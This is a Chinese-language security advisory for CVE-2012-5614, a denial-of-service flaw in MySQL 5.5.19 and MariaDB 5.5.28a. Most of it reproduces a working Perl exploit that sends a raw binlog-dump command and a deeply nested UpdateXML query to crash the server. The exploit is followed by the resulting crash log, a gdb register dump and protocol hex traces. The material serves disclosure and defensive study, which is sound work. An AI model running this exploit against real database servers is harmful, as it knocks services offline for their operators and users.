Oracle MySQL Server 5.5.19拒绝服务漏洞
发布日期：2012-12-01
更新日期：2012-12-05
受影响系统：
Oracle MySQL 5.5.19
MariaDB MariaDB 5.5.28a
描述：
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BUGTRAQ ID: 56776
CVE(CAN) ID: CVE-2012-5614
Oracle MySQL Server是一个小型关系型数据库管理系统。
MySQL 5.5.19及其他版本、MariaDB 5.5.28a及其他版本存在安全漏洞，可允许经过身份验证的远程用户通过SELECT命令和UpdateXML命令（含有大量唯一的、嵌套元素的XML）造成拒绝服务。
<*来源：Kingcope （[email protected]）
链接：http://secunia.com/advisories/51427/
http://seclists.org/fulldisclosure/2012/Dec/att-7/mysql-dos.txt
https://bugzilla.RedHat.com/show_bug.cgi?id=882607
http://www.openwall.com/lists/oss-security/2012/12/02/3
http://www.openwall.com/lists/oss-security/2012/12/02/4
https://mariadb.atlassian.net/browse/MDEV-3910
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Kingcope （[email protected]）提供了如下测试方法：
5.5.19-log on SUSE Linux
DoS exploit:
--------------------------------------------------------------------------------------------------------
use Net::MySQL;
use Unicode::UTF8 qw[decode_utf8 encode_utf8];
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3', # Default use UNIX socket
database => 'test',
user => "monty",
password => "Python",
debug => 1,
);
$mysql->_execute_command("\x12", "\x00\x00\x00\x00 foo");
exit;
for ($k=0;$k<50000;$k++) {
$a .="<A$k>";
}
for ($k=0;$k<50000;$k++) {
$a .="</A$k>";
}
# SELECT example
$mysql->query("SELECT UpdateXML('<a>$a<b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1");
my $record_set = $mysql->create_record_iterator;
while (my $record = $record_set->each) {
printf "First column: %s Next column: %s\n",
$record->[0], $record->[1];
}
$mysql->close;
Crash Log:
--------------------------------------------------------------------------------------------------------
started:
/usr/local/mysql/bin/mysqld --log=/tmp/mysql55.log --user=mysql --log-bin=/tmp/logbin2 &
120108 12:55:28 - mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.
key_buffer_size=16777216
read_buffer_size=262144
max_used_connections=1
max_threads=151
thread_count=1
connection_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 133453 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.
Thread pointer: 0x8e6fa48
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0xa868b35c thread_stack 0x30000
/usr/local/mysql/bin/mysqld(my_print_stacktrace+0x33)[0x83b0f63]
/usr/local/mysql/bin/mysqld(handle_segfault+0x4bc)[0x813c59c]
[0xffffe400]
/usr/local/mysql/bin/mysqld(_Z16dispatch_command19enum_server_commandP3THDPcj+0x11b4)[0x81b09e4]
/usr/local/mysql/bin/mysqld(_Z10do_commandP3THD+0xbc)[0x81b13ac]
/usr/local/mysql/bin/mysqld(_Z24do_handle_one_connectionP3THD+0x183)[0x823eb63]
/usr/local/mysql/bin/mysqld(handle_one_connection+0x3c)[0x823ebbc]
/lib/libpthread.so.0(+0x5b05)[0xb771cb05]
/lib/libc.so.6(clone+0x5e)[0xb74e7d5e]
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query ((nil)): is an invalid pointer
Connection ID (thread ID): 12
Status: NOT_KILLED
The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains
information that should help you find out what is causing the crash.
Version: '5.5.19-log' socket: '/var/run/mysql/mysql.sock' port: 3306 Source distribution
[New Thread 0xa8f1db70 (LWP 7907)]
120108 13:01:51 [Warning] IP address '192.168.2.150' could not be resolved: Name or service not known
120108 13:01:51 [Note] Start binlog_dump to slave_server(65), pos(, 4294967295)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa8f1db70 (LWP 7907)]
mysql_binlog_send (thd=0x8e6fb28, log_ident=0x8eb57a8 "", pos=<value optimized out>, flags=65535) at /root/mysql-5.5.19/sql/sql_repl.cc:1043
1043 log_file_name, (llstr(my_b_tell(&log), llbuff2), llbuff2));
(gdb) x/10i $eip
=> 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>: mov 0x8(%ecx),%edx
0x81bf54d <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1373>: mov 0x4(%ecx),%eax
0x81bf550 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1376>: mov %edx,0x4(%esp)
0x81bf554 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1380>: mov %eax,(%esp)
0x81bf557 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1383>: call 0x8541560 <llstr>
0x81bf55c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1388>: mov -0x9b0(%ebp),%edx
0x81bf562 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1394>: lea -0x590(%ebp),%eax
0x81bf568 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1400>: mov %edi,0x1c(%esp)
0x81bf56c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1404>: lea -0x990(%ebp),%edi
0x81bf572 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1410>: mov %eax,0x18(%esp)
(gdb) i r
eax 0xa8f1c804 -1460549628
ecx 0x0 0
edx 0xa8f1c805 -1460549627
ebx 0x8e821e0 149430752
esp 0xa8f1be50 0xa8f1be50
ebp 0xa8f1c868 0xa8f1c868
esi 0xa8f1c81a -1460549606
edi 0xa8f1c804 -1460549628
eip 0x81bf54a 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
unprivileged user (REPLICATION_SLAVE privs needed to trigger the bug):
--------------------------------------------------------------------------------------------------------
C:\Users\kingcope\Desktop>perl mysql.pl
Use INET Socket: 192.168.2.3 3306/tcp
Net::MySQL::_get_server_information():
4E 00 00 00 0A 35 2E 35 2E 31 39 2D 6C 6F 67 00 N....5.5.19-log.
01 00 00 00 59 4C 50 2C 29 28 2E 4F 00 FF F7 08 ....YLP,)(.O....
02 00 0F 80 15 00 00 00 00 00 00 00 00 00 00 22 ................
59 7C 24 3A 36 40 21 22 26 38 29 00 6D 79 73 71 Y...6....8).mysq
6C 5F 6E 61 74 69 76 65 5F 70 61 73 73 77 6F 72 l_native_passwor
64 00 d.
Protocol Version: 10
Server Version: 5.5.19-log
Salt: YLP,)(.O"Y|$:6 () !"&8)
Net::MySQL::_send_login_message():
41 00 00 01 0D A6 03 00 00 00 00 01 21 00 00 00 A...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 6D 6F 6E 74 79 32 00 14 21 2F FB 64 ....monty2.....d
27 B4 FE 26 89 F7 D6 E7 2A A1 C9 00 A9 CF 4E 51 '.......*.....NQ
74 65 73 74 00 test.
Net::MySQL::_request_authentication():
07 00 00 02 00 00 00 02 00 00 00 ...........
connect database
Net::MySQL::_execute_command():
0A 00 00 00 12 00 00 00 00 00 00 FF 00 00 ..............
Net::MySQL::_execute_command():
68 00 00 01 FF CB 04 23 34 32 30 30 30 41 63 63 h.......42000Acc
65 73 73 20 64 65 6E 69 65 64 3B 20 79 6F 75 20 ess.denied;.you.
6E 65 65 64 20 28 61 74 20 6C 65 61 73 74 20 6F need.(at.least.o
6E 65 20 6F 66 29 20 74 68 65 20 52 45 50 4C 49 ne.of).the.REPLI
43 41 54 49 4F 4E 20 53 4C 41 56 45 20 70 72 69 CATION.SLAVE.pri
76 69 6C 65 67 65 28 73 29 20 66 6F 72 20 74 68 vilege(s).for.th
69 73 20 6F 70 65 72 61 74 69 6F 6E is.operation
建议：
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